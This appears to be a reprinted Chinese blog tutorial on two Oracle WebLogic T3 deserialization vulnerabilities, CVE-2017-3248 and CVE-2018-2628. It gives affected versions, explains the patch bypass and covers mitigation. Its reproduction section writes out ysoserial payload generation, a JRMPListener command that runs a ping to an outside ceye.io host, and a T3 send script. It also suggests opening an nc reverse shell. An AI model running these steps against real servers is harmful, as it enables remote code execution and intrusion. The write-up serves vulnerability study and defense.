欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2017-3248&CVE-2018-2628

程序员文章站 2022-07-15 16:04:24
...

CVE-2017-3248

漏洞利用前提

  • 影响版本
    WebLogic 10.3.6.0
    WebLogic 12.1.3.0
    WebLogic 12.2.1.0
    WebLogic 12.2.1.1

原理简析

这个漏洞的产生是因为绕过了cve-2015-4852的补丁,该补丁中采用黑名单的方式过滤危险的反序列化类,但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击

漏洞利用方法

与cve-2018-2628一致,因为cve-2018-2628就是绕过了cve-2017-3248的补丁而已,所以CVE-2018-2628可以利用的payload同样可以应用于本漏洞

修复方案

参考CVE-2018-2628

痕迹分析

同CVE-2018-2628

CVE-2018-2628

漏洞利用前提

  • 版本
    Oracle WebLogic Server10.3.6.0
    Oracle WebLogic Server12.2.1.2
    Oracle WebLogic Server12.2.1.3
    Oracle WebLogic Server12.1.3.0

  • 配置
    开启T3协议(默认为开启状态)

原理简析

这个洞产生原因是 weblogic 对于 T3 协议发送的数据包没有过滤,攻击者通过T3协议发送一段序列化后的恶意数据,这段数据经过weblogic反序列后生成的对象会请求攻击者的rmi服务端,加载恶意数据,再反序列化生成一个对象,利用反射机制导致命令执行。

说到这个漏洞就不得不提CVE-2017-3248,因为这个漏洞是绕过CVE-2017-3248的补丁而产生的,我们先来看看3248的补丁做了什么
CVE-2017-3248&CVE-2018-2628由上图可见,补丁采用黑名单的方式在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。

绕过思路很简单,找另外一个可利用的RMI接口,这里使用java.rmi.activation.Activator来生成payload

漏洞利用方法

我们使用著名的ysoserial工具来进行复现

生成payload

java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar payload 攻击者服务器ip:攻击者服务器监听的端口 > payload写入的文件

例:生成的payload写入文件axin
java -jar /opt/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 127.0.0.1:1099 > axin

注意:这里使用的是JRMPClient2,这个版本是使用的java.rmi.activation.Activator来生成payload,除此之外ysoserial中还有一个JRMPClient,这个版本则是使用的java.rmi.registry.Registry生成payload

攻击者服务器上进行监听

java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar exploit 监听端口 使用的类 需要执行的命令

例:java -cp ysoserial-0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "ping 123333.3w9vbg.ceye.io"

发送payload到目标主机

这里需要用到一个利用T3协议发送数据的脚本
python weblogic.py 目标主机 目标端口 payload文件

例:python weblogic.py 127.0.0.1 7001 axin
如果利用成功可以在ceye.io平台上看到相应的DNS解析记录,这也就说明了命令成功执行了。
监听端,收到来自目标机的请求
CVE-2017-3248&CVE-2018-2628
ceye平台有相应dns解析记录
CVE-2017-3248&CVE-2018-2628
至此漏洞复现完成,当然还可以尝试执行其他命令,例如在特定场景下利用nc反弹一个shell等

修复方案

  • 打补丁
  • 禁用T3协议
    CVE-2017-3248&CVE-2018-2628连接筛选器填:weblogic.security.net.ConnectionFilterImpl
    筛选规则填取:* * 7001 deny t3 t3s (根据需要修改)
    重启生效。

痕迹分析

该漏洞直接利用t3协议触发,在日志中不会有记录,所以很难排查痕迹